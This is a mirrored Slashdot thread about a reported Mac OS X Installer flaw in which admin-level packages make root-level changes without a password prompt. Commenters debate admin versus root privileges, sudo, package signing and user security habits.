Slashdot Mirror


Hack Mac OS X With Installer Packages

nezmar writes, "MacGeekery has a short but insightful piece with examples on how to use a malformed Installer package (.pkg) on Mac OS X to 'insert user accounts with administrator rights and change root-owned system configuration or binary files without prompting the vast majority of Mac OS X users for a password of any kind.'" The article notes that this issue was brought up on the Apple Discussion Boards 6 weeks back and that it was noted there as a duplicate / known issue. It also gives as an example the installation of Parallels, the popular virtualization software, which uses the described technique, but not for nefarious purposes.

194 comments

  1. Well... by Anonymous Coward · · Score: 5, Insightful

    At the very least, until this is fixed, this is yet another reminder not to install things without knowing what they are.

    1. Re:Well... by LiquidCoooled · · Score: 3, Insightful

      People wouldn't install things if they don't know what they are, they obviously want to install [legitsoftware_name] on their system.
      However its important to make sure they trust the source they recieve the software from.

      As in the rest of life, use common sense and apply good judgement, stay away from the shady parts of the internet and you won't get stung. A reputable company would not risk the lawsuits with distributing known hacked packages.

      --
      liqbase :: faster than paper
    2. Re:Well... by Anonymous Coward · · Score: 0

      And yet there still exists web sites whose only purpose is to promote the latest kitten screensavers like it's 1996.

    3. Re:Well... by Anonymous Coward · · Score: 3, Funny
      A reputable company would not risk the lawsuits with distributing known hacked packages.
      What about the Sony roo... nevermind, missed the "reputable" part.
    4. Re:Well... by Anonymous Coward · · Score: 0

      People wouldn't install things if they don't know what they are

      If only. Sadly, people installing things without knowing what they are is one of the primary vectors for malware on Windows.

      Perhaps current Mac users won't. But if more people start to switch, pretty soon there'll be a big population of Mac users who certainly will click on any random link promising to install a cool screensaver or whatever, and they certainly won't realise that a screensaver shouldn't need the kind of installer that asks for their password, and bingo, OS X is pwned.

      Perhaps this will finally be the wake-up call that forces Mac users to acknowledge that it's clueless users who make an operating system insecure, not failings on Microsoft's part.

    5. Re:Well... by uolirod · · Score: 1

      Clueless users and exploitable flaws in the OS make an operating system insecure. Lets not forget to credit where it's due. :)

    6. Re:Well... by slughead · · Score: 1

      Maybe "Installer.app" (OS X's .pkg reader) should have a message that pops up:

      Note: Installing viruses on your machine will likely result in undesired results. If this is a virus, it may behoove you not to install it.

      At the very least, until this is fixed, this is yet another reminder not to install things without knowing what they are.

      I WANT packages to be able to do everything they need to do. The reason being that I'm not in the habit of installing viruses. Therefore, it's already 'fixed'. How idiot-proof do you have to make an OS?

    7. Re:Well... by azman075918 · · Score: 1

      well.. mac os x user should aware of daily news that report new bugs which have been encoutered in the os or possible exploits used in a recent hack attempt. this info might help to ensure that the user have the latest update file. do not put any services to your computer unless you understand how its work. mac os x alsa a UNIX based, so many develepers coming out with new application that previously only available for other UNIX platforms. these application not been tested thoroughly for security bus before release and may compromise system integrity. these maybe basic for keeping your computer safe from hack. but they do not solve the problem.

    8. Re:Well... by hobbit · · Score: 1

      Unfortunately, Apple's continued failure to change their installer so that the user can choose a user install rather than a system-wide one (which, having cleverly designed things so that the system library layout is mirrored in each user's home directory, should be really easy) means that users are being trained to type the administrator password whenever they use an installer.

      I think that this is a shocking omission, and it may one day lead to a class-action lawsuit against Apple.

      --
      "Wise men talk because they have something to say; fools, because they have to say something" - Plato
    9. Re:Well... by oc255 · · Score: 1

      Drive-by rootkits are so much easier when the browser is in bed with the OS and you don't have a sudo-like model. Besides, the concept of "worms" is mostly outside of user error/training. A worm that installs on default configurations of an OS would propogate much faster than one that required "some package" or "some app". Or maybe the Mötley Crüe speaks for itself: Melissa $80M, Nimba$590M, Slammer $750M, Code Red $2.5B, I loveYou $2.6B to $10B. The meaning of these worms might differ on personal experience, nimba was supremely annoying at an old shop, complicated by old and mysterious boxes and "day admins" who are just there to collect a check, not caring about the idealism of switching off of c:\dos (which is hard). Getting OT.

  2. it still asked me for a password by crashelite · · Score: 3, Insightful

    i run as a admin account and it still asks me to use my password to gain access even the program they listed it asked for my password to be entered to install. so it still is all good for me... i dont install things that i dont know what they are in the first place so those kiddies trying to hack on a mac will have problems downloading their haxzor programs cause it will crash their mac and allow some one to access it no big. just one less user in the world that cant learn how to get into ppls computers oh well

    --
    (yes i know i suck at spelling fell free to correct my grammar and/or spellin i dont care, im still not going to change
    1. Re:it still asked me for a password by Gilmoure · · Score: 1

      Yeah, but it's then one more machine, eating up bandwidth.

      --
      I drank what? -- Socrates
    2. Re:it still asked me for a password by Midnight+Thunder · · Score: 4, Interesting

      This reminds of the suggestion that one security advisor provided. I think it was a story some time back here on slashdot.

      Basically the guy suggested that the authentication dialog should have a user customisable image (you would customise in control panel). That way when the password entry dialog appears the person would know whether the password request dialog was being provieded by the system, or being faked. The idea is that the is little chance in the rogue program working out the image the user used to authenticate password dialogs.

      It also makes us realise that validity of Microsoft providng the facility of signing packages. Although there are chances that you can have a faked certificate, this would help you limit yourself to a party with a valid certificate, if you so choose. The important point is that the certificate is used as an indication, not as a control mechanism.

      The truth is though, if you have enough careless users installing random garbage you increase the chances of your system getting 0wned, no matter what the OS. It is the same principal as in the real world where even if you have the best security system, if you have people leaving doors open, covering detectors because they make life inconvenient they are truely worthless.

      --
      Jumpstart the tartan drive.
    3. Re:it still asked me for a password by DCGregoryA · · Score: 1

      Yeah, no kidding. "MacGeekery"? Give me a break. Since when is it news that *gasp* administrators can *add users*? The fact that they call this a hack makes people who understand what a hack is cringe.

    4. Re:it still asked me for a password by HAKdragon · · Score: 1
      Basically the guy suggested that the authentication dialog should have a user customisable image (you would customise in control panel). That way when the password entry dialog appears the person would know whether the password request dialog was being provieded by the system, or being faked. The idea is that the is little chance in the rogue program working out the image the user used to authenticate password dialogs.


      This would probably work really well until somebody figured out how to access the customized image. Then a piece of malware could just have a variable for the image that gets filled in by the user's image at run time.
      --
      "Our opponent is an alien starship packed with atomic bombs. We have a protractor."
    5. Re:it still asked me for a password by Foolhardy · · Score: 3, Informative

      Actually, a better solution for authentication from the OS is a secure attention sequence (SAS), e.g. CTRL+ALT+DELETE on Windows NT or CTRL+ALT+PAUSE on Linux. The OS supersedes any application's attempt to trap this key sequence and puts the display into a mode that only shows OS sanctioned secure dialog boxes. On Windows (and XP with the welcome screen off) this is the "Windows Security" screen. This way, if you always enter the SAS before entering your password, you know that only the OS is receiving it. It helps to build the habit when the OS always asks you for the SAS before entering passwords.

      The new authorization dialog boxes in Vista are like this; this is the reason they take over the desktop. IIRC, you can hit CTRL+ALT+DELETE while one of these is up and you'll know its authentic because it'll stay there (if it weren't you'd switch to the "Windows Security" screen instead.)

      Of course, these are useless if the OS is already compromised, but the whole idea is to keep it from getting that far.

    6. Re:it still asked me for a password by Tony+Hoyle · · Score: 2, Interesting

      Of course nobody will do that. They'll see yet another dialog asking for their password and enter it blindly. Instant hacked system.

    7. Re:it still asked me for a password by coolgeek · · Score: 1

      Nothing to see here. Installer asks for admin password, gets root. This how installers work.

      --

      cat /dev/null >sig
    8. Re:it still asked me for a password by Anonymous Coward · · Score: 0

      You moron - talk about missing the point. The story is about installer running with admin privs getting root without a password
      whoosh!

    9. Re:it still asked me for a password by ahknight · · Score: 1

      Except the point is that it isn't asking for a password and is still getting root.

      This really isn't a hard concept.

    10. Re:it still asked me for a password by grahamlee · · Score: 1

      It wouldn't work at all in the case described in TFA, which relates to real installer packages. The worrying thing is not that this works, but that [i]people have only just noticed and [ii]consider it news. You know that you can put arbitrary files in RPMs and DEBs, even tarballs? ;)

  3. Ouch by bnenning · · Score: 5, Informative

    I knew it was weird when I installed Parallels a few months ago and it added several kernel extensions without a password prompt. This is a serious design flaw, and yet another reason for developers and users to avoid installer packages unless absolutely necessary.

    --
    How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    1. Re:Ouch by Anonymous Coward · · Score: 1, Insightful

      No, Apple should fix the freaking thing, a "OS X security update", small sized, why should they hesitate?

      Latest Quicktime and iTunes update was 60 MB, let me remind you.

      I liked the guys attitude, it is not like "Installer is evil" things probably by some Unix geeks that hates everything easy and automatic. There is a easy solution. Ask the admin password, kernel extensions area is NOT a toy, no regular user would need to install such a deep system level, it is not like some shareware in Applications to try and trash.

      Getting rid of Installer is not solution, it is Apple, OS vendor to fix it. Installer still needs some enhancements to feature "deploy" mechanisms over network etc. Ask Mozilla guys why they moved to MSI method on windows.

    2. Re:Ouch by noidentity · · Score: 1

      The design flaw is apparently in allowing lusers to run as admin and then complain that they were given admin access. Solution: don't give your main user account admin access.

    3. Re:Ouch by bnenning · · Score: 1

      No, Apple should fix the freaking thing, a "OS X security update", small sized, why should they hesitate?

      Of course they should. I thought the "serious design flaw" made that clear.

      I liked the guys attitude, it is not like "Installer is evil" things probably by some Unix geeks that hates everything easy and automatic.

      Well, I suppose I'm a Unix geek and I like things that are easy and automatic. That's why I don't like installer packages and do like self-contained app bundles.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    4. Re:Ouch by drsmithy · · Score: 2, Informative
      I knew it was weird when I installed Parallels a few months ago and it added several kernel extensions without a password prompt. This is a serious design flaw, and yet another reason for developers and users to avoid installer packages unless absolutely necessary.

      According to the documentation linked from TFA, this behaviour is neither "proper", nor expected. Assuming the documentation is correct, it's not a design flaw, it's just a bug.

    5. Re:Ouch by dragonman97 · · Score: 1
      Ask Mozilla guys why they moved to MSI method on windows.

      *sound of crickets in the night*

      Hear that? That's the answer from the Mozilla guys about implementing MSIs, which they said they would do for 1.5. It's still not going into 2.0, and we'll be lucky if they do it in 3.0. You might be thinking of NSIS, which they redid the installer with - this is an open-source installer tool (written by Nullsoft as the original Winamp installer).

      I may not be a big fan of Windows, but I'll certainly say that having an MSI would be rather convenient for deploying Firefox in environments where Windows is currently in full force. More so, not having that MSI will prevent certain IT departments from /ever/ considering it. (Yes, unofficial MSIs exist, but this defeats the trust matter addressed in many posts in this thread.)

      This post was written on a Mac...without making use of Installer... :P

    6. Re:Ouch by ahknight · · Score: 1

      You've never used a Mac, have you?

      The default user account is an admin and it never tells you unless you know to look.

    7. Re:Ouch by Geoffreyerffoeg · · Score: 1

      The design flaw is apparently in allowing lusers to run as admin and then complain that they were given admin access. Solution: don't give your main user account admin access.

      Admin access and root access are two different things. In Unix-y terms, admin just means you're a sudoer. You need to type your password in a dialog if you're sudoing anything that requires admin access. If said "lusers" know not to type their password into sketchy places, then there's no problem.

      And if you're not an admin but know an admin password (e.g., running as a nonprivileged user on a personal machine), then you just need to type any admin's password into the same dialog.

      If you had read even the summary, you'd know the problem was that the Installer package bypassing the password dialog.

  4. Hacking OS X? Hardly by morgan_greywolf · · Score: 5, Insightful

    You still have to install the package as an admin user. Lots of tools on Linux create admin user accounts without prompting for a password when run as root. The Debian Advanced Package Tool (APT), in fact, is one of them. It's perfectly possible to create a .deb package that sets up admin user accounts without prompting, as long as you are running as root. Does that mean you can hack Debian or Ubuntu with .deb packages?

    1. Re:Hacking OS X? Hardly by Anonymous Coward · · Score: 0

      Does that mean you can hack Debian or Ubuntu with .deb packages?

      Yes. Every .deb you install can possibly repartition your harddrive (just as every Windows-application-installer run as admin).

      Now, why this cutting edge discovery is on Slashdot, I can only $$$peculate.

    2. Re:Hacking OS X? Hardly by cgenman · · Score: 0

      The point is that most OSX users run as admin by default, which is what the system creates for them. It's not because they're lazy, it's because you buy a Macintosh so that you don't have to deal with the tedious details of computing. You just do it, and it just works.

      But, again, you're running as Admin by default in OSX. THAT seems to be the major issue.

    3. Re:Hacking OS X? Hardly by jrockway · · Score: 1

      debian packages are cryptographically authenticated and come from a known-good source. Sure, someone on the Debian project could compromise my machine, but that's pretty obvious anyway.

      This is worse because any Joe on the Internet can create one of these packages. (Yes, any joe on the internet can create a debian package, but that's not a typical use case for apt users, whereas it's the only use case for Apple users.)

      --
      My other car is first.
    4. Re:Hacking OS X? Hardly by Wm_K · · Score: 1

      I'm running a default installation of Mac OS X and I'm surely not working as the admin user. Neither did I, as far as I can remember, explicitly add my less-privileged user-account. I do however get prompted for my password whenever an application wants to install something in a directory that's only accessible for the admin user.

      Either I forgot that I added a less-privileged user account or the default installation of Mac OS X just has this as the default. I think the latter option is more likely.

    5. Re:Hacking OS X? Hardly by GeffDE · · Score: 1

      If you get prompted for you password whenever you install something, or move something into /Applications, and YOUR password works, then you are an admin. The password that the box is looking for is an administrator password (and even says so, if you read it).

      --
      It has been a nervous year, with people beginning to feel like Christian Scientists with appendicitis.
    6. Re:Hacking OS X? Hardly by Space+cowboy · · Score: 1

      Since you have to be the author of the package being installed to make this "hack" work, I don't see *any* difference between the .deb problem, and the mac one. If I'm the author of a .deb, and I want to be nasty, why can't I crypographically sign the nasty version of the code ?

      Sure, people may (will?) soon find out I'm a bad guy, but the exact same situation is the case here.

      I don't see the usage difference you're talking about either - if I'm installing something I want/need, I'm going to do it on Debian Linux or OSX. Pretty much all the s/w I've had to use an installer for on my Mac comes from Apple; in fact I can think of 'Civilisation' and 'MS Office' as the only non-Mac apps I've installed, but I don't think they needed an installer - I'm reasonably sure I just drag them to the Applications folder (so this issue is moot).

      You *are* aware that most Apple apps don't use the installer, right ? You just drag the app to the Applications folder, and you're done. It's only if you need to meddle with the guts of the machine that you need the installer.

      That's not to say that I think Apple oughtn't fix this - I can't really see the use for a we-want-to-meddle-with-your-computer-without-telli ng-you scenario, so I'd like to see it gone.

      Simon

      --
      Physicists get Hadrons!
    7. Re:Hacking OS X? Hardly by Wm_K · · Score: 2, Insightful

      That's what I just said. It asks me for my password and only then I get promoted to the admin user (by means of sudo I assume). The point of the article is that "without prompting the vast majority of Mac OS X users for a password of any kind". If someone then says "most OSX users run as admin by default" that makes it sound as if users are running a root account by default. Which is not simply true.

    8. Re:Hacking OS X? Hardly by GeffDE · · Score: 2, Informative

      I believe you misunderstand. sudo is a command that takes a user listed in the sudoers file and gives them root priviledges. In a default OS X install, only admins are in the sudoers file. There are three levels of access in OS X: unpriviledged user, admin and root. Only admins may be promoted to root through sudo. If your password works for the installer, you are an admin.

      --
      It has been a nervous year, with people beginning to feel like Christian Scientists with appendicitis.
    9. Re:Hacking OS X? Hardly by The+Mad+Debugger · · Score: 1

      It's a little different though. Your account is both a normal user and admin, but not at the same time. Generally you either have to re-enter your password in a dialog or do "sudo" at the command line in order to do "root" things, otherwise you exist at the privlage level of a mere mortal.

      Maybe this installer thing is a hole, but in general, the Mac thing is *not* the same as running as "root" or "Administrator" all the time. By design, you have to do something special (re-authenticate) to escalate your privlages.

      So, it's mostly wrong to say that you're running as admin "all the time". The fact that your pasword works as the "admin" doesn't mean you're running with those privelages the whole time, and that's a big difference.

    10. Re:Hacking OS X? Hardly by droopycom · · Score: 1

      Si in effect, if you are an admin, you can become root without kmowing the root password, so you can edit the sudoers file and do everything the supposed hacked installer package do.

      So whats the big deal?

    11. Re:Hacking OS X? Hardly by Wm_K · · Score: 5, Insightful
      I believe you misunderstand. sudo is a command that takes a user listed in the sudoers file and gives them root priviledges.

      Exactly! But when do you get root priviledges? Only after you give your password to sudo (either on the cli or in the installer). Before that point you have as much privileges as a ordinary user.

      The little thread started because cgenman said "OSX users run as admin by default" with which he seemed to imply that Mac OS X users run with root priviledges by default and therefor don't get prompted for a password. But this is not the case.

      I don't even think we're making a different point. My definition of admin is just more confusing I guess. You're indeed right that the default user is a user from the admin group, but my point is that even though the user might be an admin, he doesn't have root priviledges without giving a password first.

    12. Re:Hacking OS X? Hardly by GeffDE · · Score: 1

      I was responding to the fact that the parent thought that a non-admin could become root. That isn't true.

      --
      It has been a nervous year, with people beginning to feel like Christian Scientists with appendicitis.
    13. Re:Hacking OS X? Hardly by GeffDE · · Score: 1

      No, its not wrong at all. The "admin" group on OS X are users who are allowed to sudo. Others cannot use sudo. Users in the admin groups are admin. They're not root, but they can use sudo. Its just like admin accounts on any linux box. I don't see what the problem calling the account an admin account, seeing as they are in the group admin and fulfill the same role.

      --
      It has been a nervous year, with people beginning to feel like Christian Scientists with appendicitis.
    14. Re:Hacking OS X? Hardly by portmapper · · Score: 1

      > I was responding to the fact that the parent thought that a non-admin could become root. That isn't true.

      Erh, Google for "local root exploit".

    15. Re:Hacking OS X? Hardly by Anonymous Coward · · Score: 5, Informative

      I don't even think we're making a different point. My definition of admin is just more confusing I guess. You're indeed right that the default user is a user from the admin group, but my point is that even though the user might be an admin, he doesn't have root priviledges without giving a password first.

      The problem is with the package management. What the article is saying is that package creator is allowed to set authorization for installation. They can choose either to authorize with Root privilege or with Admin priviledge. Installations that require Root privilege will prompt for password from a user even if the user is logged on as an Administrator. Admin privileged installation doesn't require a password if the user is Administrator. The danger is that some installations which should require Root priviledge (ones that deeply modify the OS) can be carried out with a passwordless Admin priviledge, so the Admin doesn't realize just how much modification is being made to the system.

      A scenario would work like this:

      Admin thinks he just installing a regular editor application. Package author specifies installation with Admin priviledge no authorization. Admin proceeds to install package but is unaware that package install program is silently adding system kernel extensions. Normally, this would require Root priviledges for system modifications, but doesn't because of this weakness in the installation api.

    16. Re:Hacking OS X? Hardly by GeffDE · · Score: 1

      Thank you for taking my comment out of context. Either your a lawyer are Karl Rove. Good job! :-)

      --
      It has been a nervous year, with people beginning to feel like Christian Scientists with appendicitis.
    17. Re:Hacking OS X? Hardly by MoneyT · · Score: 1

      Why is it an issue? If you are on your personal machine, who else but you should be the administrator?

      --
      T Money
      World Domination with a plastic spoon since 1984
    18. Re:Hacking OS X? Hardly by jrockway · · Score: 1

      > Since you have to be the author of the package being installed to make this "hack" work, I don't see *any* difference between the .deb problem, and the mac one. If I'm the author of a .deb, and I want to be nasty, why can't I crypographically sign the nasty version of the code ?

      Debian packages are signed by the Debian project when they are approved for inclusion. If you have nasty bits in your package, you're not going to get it signed.

      --
      My other car is first.
    19. Re:Hacking OS X? Hardly by EsbenMoseHansen · · Score: 1
      I don't see *any* difference between the .deb problem, and the mac one. If I'm the author of a .deb, and I want to be nasty, why can't I crypographically sign the nasty version of the code ?

      The difference, such as it is, is that few debian/kubuntu/gentoo/etc users install any packages except from the "official" repositories. Anyway, I think that was the point my granparent was trying to make.

      However, the real reason why MacOs'ians are a lost case, securitywise, is that most of the source code is unavailable to them in a compilable form. The above trick would not help a Mac user, as noone would be able to peerreview the code in the hypothetical central mac repositories. That said, I think Mac is reasonable secure given that it is a binary-blob based system.

      --
      Religion is regarded by the common people as true, by the wise as false, and by rulers as useful.
    20. Re:Hacking OS X? Hardly by Anonymous Coward · · Score: 0

      The problem was just miscommunication.

      OSX users by default have administrator accounts - after logging in, all their actions are performed as administrator. That is why they can do things like modify system preferences without being prompted for a username/password - something non-admin users cannot do.

      When said administrators install software, and authenitcate themselves again with their password, their privilidges are escalated to root privilidges for that particular install procedure.

      So, mac users carry out most tasks as admin; when installing software, they are root.

    21. Re:Hacking OS X? Hardly by Coryoth · · Score: 1
      You still have to install the package as an admin user. Lots of tools on Linux create admin user accounts without prompting for a password when run as root.

      My understanding of the issue is that an admin user is simply someone on the sudoers list, and not actually root. This would akin to a .deb file that, when installed by a user on the sudoers list and not root, doesn't prompt for any password at all, but has root access none the less. This would seem to be an issue if I am, in fact, interpreting all of this correctly.
    22. Re:Hacking OS X? Hardly by MrFlannel · · Score: 1

      The previous siblings of this thread covered it:
      In OSX, there are two types of installer package things, admin ones and root ones. Running as an admin user (that is, a user that can become root-ish (like through sudo), if you install a root-level installer, you are prompted for your root password, yadda yadda. If you run an admin-level installer, no password is asked, and the vulnerability is here. Inside of that admin-level installer, root-level things can be done.

      So no. Your password is never asked, and things that should have been asked about are installed.

      And for completeness, the level of the installer is set by the creator of the installer.

      --
      Clones are people two.
    23. Re:Hacking OS X? Hardly by Space+cowboy · · Score: 1

      My point was that I have only had to use the installer on applications that come from Apple. Just like .debs come from the Debian project (well, I guess you *could* make your own up, but...)

      Maybe this is the difference - *I* think Apple and the debian project are equally trustworthy when it comes to installing applications into thier respective OS's. Perhaps you don't.

      Simon

      --
      Physicists get Hadrons!
    24. Re:Hacking OS X? Hardly by JadeNB · · Score: 1
      Why is it an issue? If you are on your personal machine, who else but you should be the administrator?
      The point is not that someone else should be, but that no regularly logged-in user should be. With no exceptions of which I know, you can do everything on a Mac running from a normal account. If you need to sudo something, you will be presented with a dialogue which in one stroke allows you to su to an administrator, then sudo from that administrator account. (At least, that's how I assume it works.) The only difference from being an administrator is that you have to explicitly enter an administrator's name at that dialogue, as well as the password.
    25. Re:Hacking OS X? Hardly by JadeNB · · Score: 1
      Some application authors think users are too dim to be trusted with copying the file themselves, so will set up a package whose sole function is automatically to move the application to /Applications. Naturally, this is wonderful for those of us who like to sort our applications into our own folders. Even if some library files need to be installed, they can often be put (if the user wants) in ~/Library instead of /Library; but Installer.app doesn't allow this.

      Darwinports -- which does need, or want, to write to /opt/local -- offers a package, but also provides a way for users to do the install 'manually'. I can't remember what they were off the top of my head, but I've had to deal with applications which weren't so nice -- that's why there's unpkg. Anyway, the point is that some authors make packages even if they don't need to do so.

    26. Re:Hacking OS X? Hardly by MoneyT · · Score: 1

      But inevitably you're treating the symptom here. It's just like click through agreements and passwords, if you ask for it all the time and make it a common thing, then the user will think nothing of it. If the only difference between being a regular user and an admin is that you have to type a username as well, it still won't solve the underlying problem of users giving their passwords to untrusted programs and of programs (many of which shouldn't need passwords) asking for them.

      --
      T Money
      World Domination with a plastic spoon since 1984
    27. Re:Hacking OS X? Hardly by JadeNB · · Score: 1

      I agree that it's easy for users to become inured to entering their password, but running as a normal user rather than admin gives a small extra layer of protection (the pseudo-privilege escalation described here can't happen) at almost no extra cost (one has to enter a name as well as a password at the authentication dialogues -- which would, or should, appear anyway even if were running as an administrator).

    28. Re:Hacking OS X? Hardly by Anonymous Coward · · Score: 0

      Err ... 'their password*s*', and 'even if *one* were running as an administrator'.

    29. Re:Hacking OS X? Hardly by xouumalperxe · · Score: 1

      Nope, you DON'T run as admin in OS X. You run in a sudo-enabled account.

  5. Let me get this straight ... by khasim · · Score: 3, Insightful
    There exists a pretty significant interface problem with the Apple Installer program such that any package requesting admin access via the AdminAuthorization key, when run in an admin user account, is given full root-level access without providing the user with a password prompt during the install.

    So, when you're logged in as admin, and you install a package, that package can add whatever is in that package. Isn't that how it is supposed to work?

    I'm not seeing the problem here. Am I missing something?
    1. Re:Let me get this straight ... by Nutria · · Score: 1, Flamebait
      So, when you're logged in as admin, and you install a package, that package can add whatever is in that package. Isn't that how it is supposed to work?

      I'm not seeing the problem here. Am I missing something?


      I'm with you on this. Having Administrator power is supposed to let you do dangerous things.

      From the article:
      do not run as an admin user for daily activities.
      Well, duh!!! Only Windows users are that stupid, right?

      --
      "I don't know, therefore Aliens" Wafflebox1
    2. Re:Let me get this straight ... by CaymanIslandCarpedie · · Score: 2, Insightful

      How the heck is this modded flamebait? Are most OS/X users as security-stupid as Windows users?

      Maybe because you add nothing to the discussion. You simply agree and then toss in a cheap (flame) insult. And then in your whining about accurately being modded, you simply toss another flame (Are most OS/X users as security-stupid as Windows users?) on the fire.

      If your goal is to add nothing and just toss bitchy insults out there, don't be suprised of you are modded as such.

      --
      "reality has a well-known liberal bias" - Steven Colbert
    3. Re:Let me get this straight ... by Anonymous Coward · · Score: 0

      Yes, but they're much more smug about it since they believe that Apple will protect them from their own stupidity.

    4. Re:Let me get this straight ... by Nutria · · Score: 1
      you simply toss another flame (Are most OS/X users as security-stupid as Windows users?) on the fire.

      Go back to Junior High and take a refresher course in Grammar. (Is it a flame when the other person deserves it?)

      Question:
      Are most OS/X users as security-stupid as Windows users?


      Flame:
      Most OS/X users as security-stupid as Windows users!!


      Big difference, since (since I don't know any Mac users) I do not know any Mac users, so I really don't know whether they are as dumb as Windows users.

      --
      "I don't know, therefore Aliens" Wafflebox1
    5. Re:Let me get this straight ... by yroJJory · · Score: 2, Insightful

      This is not about smugness; it's about a legitimate security issue.

      Are you saying that the insane quantity of malware, virii, and other attacks on Windows is the fault of the users? Most don't even know that something was just install on their system or that it is running, and that includes experienced users.

      This same type of issue is what is being discussed.

      At least in this case, the issue requires a user to run an installer, but they should still be prompted for root-level access. In a case like this, it IS Apple's job to protect the user. Just because Microsoft doesn't give a shit about their users doesn't mean it's the correct way to behave.

      --
      Jory
    6. Re:Let me get this straight ... by mr_zorg · · Score: 1

      While you shouldn't be running as administrator for day to day use, this is still a problem. Just being an administrator on OS X is not equivalent to being root. It does, however, give you 'sudo su' privileges, which lets you execute tasks as root. Anytime an application needs to change root owned files (which all system files should be), it should be forced to pop up and ask you for your password (same as would happen if you ran 'sudo su root -c cmd' from terminal). The fact that it is possible for an installer to do that without a password is a major problem. At least with the password prompt I am alerted to the fact that something is going on, and if I'm not expecting it I can investigate (the OS X dialog can give you more details on what it's trying to do).

      Unless this is functioning as designed, which I doubt, I have no doubt Apple will fix this. No, OS X isn't perfect, but at least it *tries*...

    7. Re:Let me get this straight ... by tm2b · · Score: 0, Flamebait

      Er, yeah, right. Try checking out some college rhetoric courses instead of junior high school grammar.

      So have you stopped beating your wife?

      --
      "It is our blasphemy which has made us great, and will sustain us, and which the gods secretly admire in us." - Zelazny
    8. Re:Let me get this straight ... by CaymanIslandCarpedie · · Score: 1

      Here is how I see it. This could happen on most systems. If you are running as admin an installer will running under your profile may well add a user. I don't see this as an Apple only issue. However, with all the security concerns today it probably is worth a discussion. Should an installer be allowed to automatically create users? Genereally many apps may well require user accounts so I'd say they certainly should be allowed to automatically create users but perhaps require users to reenter admin password. Then its really a question of is this more of an annoyance then it helps. I really don't know, but its probably at least worth the discussion.

      --
      "reality has a well-known liberal bias" - Steven Colbert
    9. Re:Let me get this straight ... by myrdred · · Score: 1

      You don't understand how the Admin account on OS X works (or is supposed to work, in this case).

      It is not the same as root nor as Admin accounts on Windows.

      On Mac OS X, the Admin account is like an in-between between regular user and root. That is, when you are logged on as an Admin, it generally allows you to do things that normal users can do, plus any permissions given specifically to Admins (these are not common). On the other hand, you _can_ also do anything else that you want, as root would, BUT before doing such actions you are supposed to be prompted for your password.

      For example, if a folder has permissions for some user/group that I am not in, and I have an Admin account, I am normally not able to do anything in that folder without first re-entering my password to Prompt. This is the philosophy behind Admins accounts on OS X.

    10. Re:Let me get this straight ... by ahknight · · Score: 1, Insightful

      Many points, yes.

      1. The default user Apple makes is an admin. Non-computer-literate folks don't know this.
      2. Without providing a password, this gives an installer script root access.
      3. People will double-click anything.

    11. Re:Let me get this straight ... by Anonymous Coward · · Score: 0

      I bow before you, Master of the Flame, you manage to flame about twice per post, and throw gratuitous insults when someone points it to you (and you don't forget the final flame in your answer, of course), while still denying that you are flaming. Woah.

    12. Re:Let me get this straight ... by Anonymous Coward · · Score: 0
      Being a grammarian myself, I don't remember any courses I ever had discussing a "flame" as a part of grammar. But, while we're frivolously pecking at language, let's get back to basics and focus on capitalization (as in where to capitalize letters and where not to).
      Go back to Junior High and take a refresher course in Grammar.
      Uses caps improperly. Unless you're speaking German, of course - but if that were the case, you missed a noun...
      By the way, not sure what you meant with the parens here:
      Big difference, since (since I don't know any Mac users) I do not know any Mac users, so I really don't know whether they are as dumb as Windows users.
      but if you were worried about someone attacking your "don't", you would have been fine without them. Contractions (if you'll remember back to your "Junior High... course in Grammar") are a perfectly legitimate part of grammar. Everyone uses them. They aren't bad.

      Posting Anon to avoid the terror this would wreak on my karma,
      the Ghost Of Derrida.
    13. Re:Let me get this straight ... by Anonymous Coward · · Score: 0

      Are you saying that the insane quantity of malware, virii, and other attacks on Windows is the fault of the users?

      Yes. Next question?

      Just because Microsoft doesn't give a shit about their users doesn't mean it's the correct way to behave.

      If a user is set up with an Administrator account by default during an OS X installation, then I surmise that Apple doesn't give a shit about security either. We've seen what happens in the Windows world when a company chooses user-friendliness over security. It's a disaster.

    14. Re:Let me get this straight ... by CaymanIslandCarpedie · · Score: 2, Informative

      I do not know any Mac users, so I really don't know whether they are as dumb as Windows users.

      Oh, sure! I'm certain you were expecting a bunch of well thought out replys discussing if Mac users and/or Windows users are stupid and really get to the bottom of this deep question. Its a textbook flame, deal with it. You were just tossing out insults in some sad attempt to make yourself feel superior.

      Here's the thing, many of us /.ers still come here to see the latest tech news and participate in or see in-depth discussion of these issues to enrich ourselves and others. The problem is there are too many smug people like yourself here not acutally lending anything to the actual discussions but instead just toss pointless insults around and generally trying spread to show how smug you are. It kind of lends itself to a Beavis and Butthead mentality where the lowest common denominator (you) end up distracting people from the actual discussion taking place. Now do I think this is a real issue? Not really and certainly not specifically for Apple (see my other post) but it is worth an educated discussion about the pros and cons and look at the options. Posts like yours just distract from the issues at hand I guess in some hope to get some cheap karma points by pointlessly slamming people when its completely irrelevant to the discussion while actually adding nothing.

      --
      "reality has a well-known liberal bias" - Steven Colbert
    15. Re:Let me get this straight ... by CaymanIslandCarpedie · · Score: 1

      lowest common denominator (you)

      Sorry for that remark. I was typing faster than I was thinking ;-) I have no idea what your post history is (too lazy as I'm watching a football game as I type this). You may well normally have great posts and I shouldn't judge you on this single post. However, these posts certainly don't give me a good first impression.

      Gotta get back to the game, so I'll wish you well and be gone (good one about grammer school though) ;-)

      --
      "reality has a well-known liberal bias" - Steven Colbert
    16. Re:Let me get this straight ... by Anonymous Coward · · Score: 0

      Oh, now I get it (and by it I mean all that crap involving parentheses)! You meant to reference the earlier statement, you just don't know anything about word order in english. Gotcha.
      Never, ever, correct anyone's language use if you aren't capable of handling the one you're using yourself. ~More Ghost

    17. Re:Let me get this straight ... by portmapper · · Score: 1

      > Just being an administrator on OS X is not equivalent to being root. It does, however, give you
      > 'sudo su' privileges, which lets you execute tasks as root.

      Not equivalent, but pretty close, considering how sudo is generally configured.

      > Anytime an application needs to change root owned files (which all system files should be), it
      > should be forced to pop up and ask you for your password (same as would happen if you ran 'sudo
      > su root -c cmd' from terminal).

      sudo usually has a timeout for when you have to re-authenticate, but you can configure sudo to
      force you to re-authenticate for each invocation. That may be a pain in the ass, though, if
      you work from the command line.

    18. Re:Let me get this straight ... by benplaut · · Score: 1

      Score 2 flamebait...
      That's something to put on your resume!

    19. Re:Let me get this straight ... by spir0 · · Score: 2, Funny

      3. People will double-click anything.

